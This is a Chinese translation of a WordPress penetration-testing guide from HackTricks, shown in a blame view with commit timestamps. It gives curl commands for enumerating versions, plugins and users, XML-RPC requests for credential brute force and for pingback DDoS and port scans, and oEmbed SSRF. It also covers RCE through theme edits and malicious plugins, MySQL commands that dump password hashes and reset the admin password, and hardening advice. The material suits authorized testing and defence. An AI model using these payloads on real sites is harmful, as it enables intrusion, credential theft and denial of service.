hacktricks/network-services-pentesting/pentesting-web/wordpress.md

419 lines
18 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# Wordpress
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
支持HackTricks的其他方式
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
使用[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress)可以轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
2023-08-03 19:12:22 +00:00
立即获取访问权限:
2022-06-06 22:28:05 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
2022-06-06 22:28:05 +00:00
2023-08-03 19:12:22 +00:00
## 基本信息
**上传**的文件位于:`http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
**主题文件位于/wp-content/themes/**因此如果更改主题的某些php以获得RCE则可能会使用该路径。例如使用**twentytwelve主题**,您可以在以下位置访问**404.php**文件:[**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**另一个有用的URL可能是** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
在**wp-config.php**中,您可以找到数据库的根密码。
要检查的默认登录路径_**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **主要WordPress文件**
- `index.php`
- `license.txt` 包含有用的信息如安装的WordPress版本。
- `wp-activate.php` 用于设置新WordPress站点时的电子邮件激活过程。
- 登录文件夹(可能已重命名以隐藏):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` 是WordPress的一个功能文件它使数据能够通过HTTP作为传输机制和XML作为编码机制进行传输。这种通信方式已被WordPress [REST API](https://developer.wordpress.org/rest-api/reference)取代。
- `wp-content`文件夹是存储插件和主题的主目录。
- `wp-content/uploads/` 是存储上传到平台的任何文件的目录。
- `wp-includes/` 这是存储核心文件的目录如证书、字体、JavaScript文件和小部件。
- `wp-sitemap.xml` 在WordPress版本5.5及更高版本中WordPress会生成一个包含所有公共帖子和可公开查询的帖子类型和分类法的站点地图XML文件。
**后渗透**
- `wp-config.php`文件包含WordPress连接到数据库所需的信息如数据库名称、数据库主机、用户名和密码、身份验证密钥和盐以及数据库表前缀。此配置文件还可用于激活DEBUG模式这在故障排除中很有用。
2023-08-03 19:12:22 +00:00
### 用户权限
- **管理员**
- **编辑者**:发布和管理自己和其他人的帖子
- **作者**:发布和管理自己的帖子
- **贡献者**:编写和管理自己的帖子,但不能发布它们
- **订阅者**:浏览帖子并编辑其个人资料
2023-08-03 19:12:22 +00:00
## **被动枚举**
### **获取WordPress版本**
检查是否可以找到文件`/license.txt`或`/readme.html`
在页面的**源代码**中(例如来自[https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)的示例):
- grep
2022-10-02 23:08:05 +00:00
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
* `meta name`
![](<../../.gitbook/assets/image (1111).png>)
* CSS link files
![](<../../.gitbook/assets/image (533).png>)
* JavaScript files
![](<../../.gitbook/assets/image (524).png>)
### 获取插件
{% code overflow="wrap" %}
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
{% endcode %}
### 获取主题
{% code overflow="wrap" %}
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### 提取一般版本
{% code overflow="wrap" %}
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
{% endcode %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
\
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) 可以轻松构建并由全球**最先进**的社区工具驱动的**自动化工作流程**。\
2023-08-03 19:12:22 +00:00
立即获取访问权限:
2022-06-06 22:28:05 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
2022-06-06 22:28:05 +00:00
2023-08-03 19:12:22 +00:00
## 主动枚举
2023-08-03 19:12:22 +00:00
### 插件和主题
您可能无法找到所有可能的插件和主题。为了发现它们所有,您需要**主动暴力破解插件和主题列表**(幸运的是,有自动化工具包含这些列表)。
2023-08-03 19:12:22 +00:00
### 用户
**ID 暴力破解**
通过暴力破解用户ID您可以从WordPress网站获取有效用户
```
curl -s -I -X GET http://blog.example.com/?author=1
```
如果响应为**200**或**30X**表示id是**有效**的。如果响应为**400**则id是**无效**的。
2022-04-28 23:27:22 +00:00
**wp-json**
您还可以尝试通过查询获取有关用户的信息:
```
curl http://blog.example.com/wp-json/wp/v2/users
```
另一个可以揭示有关用户信息的 `/wp-json/` 端点是:
```
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
注意,此端点仅公开已发布帖子的用户。**仅提供启用此功能的用户的信息**。
还要注意**/wp-json/wp/v2/pages**可能会泄漏IP地址。
2022-10-02 23:08:05 +00:00
2023-08-03 19:12:22 +00:00
#### 登录用户名枚举
2022-10-02 23:08:05 +00:00
在**`/wp-login.php`**登录时,**消息**会根据指定的**用户名是否存在**而**不同**。
2022-05-01 16:57:45 +00:00
### XML-RPC
如果`xml-rpc.php`处于活动状态则可以执行凭据暴力破解或者使用它来发动对其他资源的DoS攻击例如您可以使用[此工具](https://github.com/relarizky/wpxploit)来自动化此过程)。
要查看它是否处于活动状态请尝试访问_**/xmlrpc.php**_并发送此请求
2023-08-03 19:12:22 +00:00
**检查**
```markup
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
2023-08-03 19:12:22 +00:00
**凭证暴力破解**
**`wp.getUserBlogs`**、**`wp.getCategories`**或**`metaWeblog.getUsersBlogs`**是一些可用于暴力破解凭证的方法。如果你找到任何一个,你可以发送类似以下内容:
```markup
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
```
在一个200状态码的响应中如果凭据无效应该出现消息_"用户名或密码不正确"_。
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../.gitbook/assets/image (721).png>)
使用正确的凭据,您可以上传一个文件。在响应中将显示路径([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
2022-10-08 16:35:25 +00:00
```markup
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
2023-08-03 19:12:22 +00:00
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
2022-10-08 16:35:25 +00:00
</methodCall>
```
也有一种**更快的方法**可以使用**`system.multicall`**来暴力破解凭据,因为您可以在同一请求中尝试多个凭据:
2022-02-09 20:26:27 +00:00
<figure><img src="../../.gitbook/assets/image (628).png" alt=""><figcaption></figcaption></figure>
**绕过双因素认证**
这种方法适用于程序而非人类,并且比较老旧,因此不支持双因素认证。因此,如果您拥有有效凭据但主入口受到双因素认证保护,**您可能能够滥用 xmlrpc.php 以绕过双因素认证登录**。请注意,您将无法执行通过控制台可以执行的所有操作,但您仍然可能能够像 Ippsec 在 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s) 中解释的那样实现 RCE。
**DDoS 或端口扫描**
如果您可以在列表中找到 _**pingback.ping**_ 方法,您可以让 WordPress 向任何主机/端口发送任意请求。\
这可用于要求**数千个** WordPress **站点**访问一个**位置**(从而在该位置引发**DDoS**),或者您可以使用它来让**WordPress**扫描一些内部**网络**(您可以指定任何端口)。
```markup
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
```
![](../../.gitbook/assets/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
如果您得到的**faultCode**值**大于**017这意味着端口是开放的。
查看前一节中对**`system.multicall`**的使用,了解如何滥用此方法来发动 DDoS 攻击。
**DDoS**
```markup
<methodCall>
2023-08-03 19:12:22 +00:00
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
```
![](<../../.gitbook/assets/image (110).png>)
2022-12-09 14:47:58 +00:00
### wp-cron.php DoS
这个文件通常存在于Wordpress站点的根目录下**`/wp-cron.php`**\
当访问这个文件时会执行一个“繁重”的MySQL **查询**,因此可以被**攻击者**用来引发**DoS**。\
此外,默认情况下,`wp-cron.php`会在每次页面加载时被调用每当客户端请求任何Wordpress页面时这在高流量站点上可能会引起问题DoS
2022-12-09 14:47:58 +00:00
建议禁用Wp-Cron并在主机内创建一个真正的cronjob以在规律的时间间隔内执行所需的操作而不会引起问题
2022-12-09 14:47:58 +00:00
2022-05-01 16:57:45 +00:00
### /wp-json/oembed/1.0/proxy - SSRF
尝试访问 _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_Wordpress站点可能会向您发出请求。
当它不起作用时的响应:
![](<../../.gitbook/assets/image (365).png>)
2022-05-01 16:57:45 +00:00
### SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
这个工具检查**methodName: pingback.ping**和路径**/wp-json/oembed/1.0/proxy**,如果存在,它会尝试利用它们。
### Automatic Tools
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
2022-02-09 20:26:27 +00:00
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
\
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) 可轻松构建并通过全球**最先进**的社区工具**自动化工作流程**。\
2023-08-03 19:12:22 +00:00
立即获取访问权限:
2022-06-06 22:28:05 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
2022-06-06 22:28:05 +00:00
## 通过覆盖一个位获取访问权限
2022-06-23 12:12:25 +00:00
这不仅仅是一个真正的攻击,而是一种好奇。在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中,您可以翻转任何 WordPress 文件的 1 位。因此,您可以翻转文件 `/var/www/html/wp-includes/user.php` 的位置 `5389`,以将 NOT (`!`) 操作变为 NOP。
2022-06-23 12:12:25 +00:00
```php
2023-08-03 19:12:22 +00:00
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
2022-06-23 12:12:25 +00:00
```
## **面板RCE**
2022-06-23 12:12:25 +00:00
**修改主题中使用的php文件需要管理员凭据**
外观 → 主题编辑器 → 404模板在右侧
更改内容为php shell
![](<../../.gitbook/assets/image (384).png>)
搜索互联网,找出如何访问更新后的页面。在这种情况下,您必须访问这里:[http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
2022-05-01 16:57:45 +00:00
### MSF
您可以使用:
```
use exploit/unix/webapp/wp_admin_shell_upload
```
## 插件RCE
### PHP插件
可能可以将.php文件上传为插件。\
例如使用以下方式创建您的php后门
![](<../../.gitbook/assets/image (183).png>)
然后添加一个新插件:
![](<../../.gitbook/assets/image (722).png>)
上传插件并点击立即安装:
![](<../../.gitbook/assets/image (249).png>)
点击“继续”:
![](<../../.gitbook/assets/image (70).png>)
可能看起来不会有任何变化但如果您转到媒体您将看到您上传的shell
![](<../../.gitbook/assets/image (462).png>)
访问它您将看到执行反向shell的URL
![](<../../.gitbook/assets/image (1006).png>)
### 上传和激活恶意插件
此方法涉及安装已知易受攻击且可被利用以获取Web shell的恶意插件。此过程通过WordPress仪表板执行如下
1. **获取插件**从Exploit DB等来源获取插件例如[**此处**](https://www.exploit-db.com/exploits/36374)。
2. **安装插件**
* 转到WordPress仪表板然后转到`仪表板 > 插件 > 上传插件`。
* 上传下载的插件的zip文件。
3. **激活插件**:一旦插件成功安装,必须通过仪表板激活。
4. **利用**
* 安装并激活插件“reflex-gallery”后可以利用其已知易受攻击的漏洞。
* Metasploit框架提供了此漏洞的利用。通过加载适当的模块并执行特定命令可以建立一个meterpreter会话从而未经授权地访问站点。
* 值得注意的是这只是利用WordPress站点的众多方法之一。
内容包括描绘在WordPress仪表板中安装和激活插件步骤的视觉辅助。然而重要的是要注意未经授权地利用漏洞是非法和不道德的。这些信息应该负责任地使用只能在合法的情况下使用例如在明确获得许可的渗透测试中。
**有关更详细的步骤,请查看:** [**https://www.hackingarticles.in/wordpress-reverse-shell/\*\***](https://www.hackingarticles.in/wordpress-reverse-shell/)
## 后期利用
2023-08-03 19:12:22 +00:00
提取用户名和密码:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
2023-08-03 19:12:22 +00:00
更改管理员密码:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## WordPress保护
2023-08-03 19:12:22 +00:00
### 定期更新
确保WordPress、插件和主题是最新的。还要确认在wp-config.php中启用了自动更新
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
此外,**只安装可信赖的WordPress插件和主题**。
2023-08-03 19:12:22 +00:00
### 安全插件
2022-02-09 18:48:09 +00:00
* [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
* [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
* [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
2023-08-03 19:12:22 +00:00
### **其他建议**
* 删除默认的 **admin** 用户
* 使用 **强密码****双因素认证**
* 定期审查用户的 **权限**
* **限制登录尝试** 以防止暴力破解攻击
* 重命名 **`wp-admin.php`** 文件并仅允许内部访问或特定IP地址访问。
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) 可轻松构建和 **自动化工作流程**,由全球 **最先进** 的社区工具提供支持。\
2023-08-03 19:12:22 +00:00
立即获取访问权限:
2022-06-06 22:28:05 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
支持HackTricks的其他方式
2022-04-28 16:01:33 +00:00
* 如果您想在HackTricks中看到您的 **公司广告****下载PDF格式的HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
</details>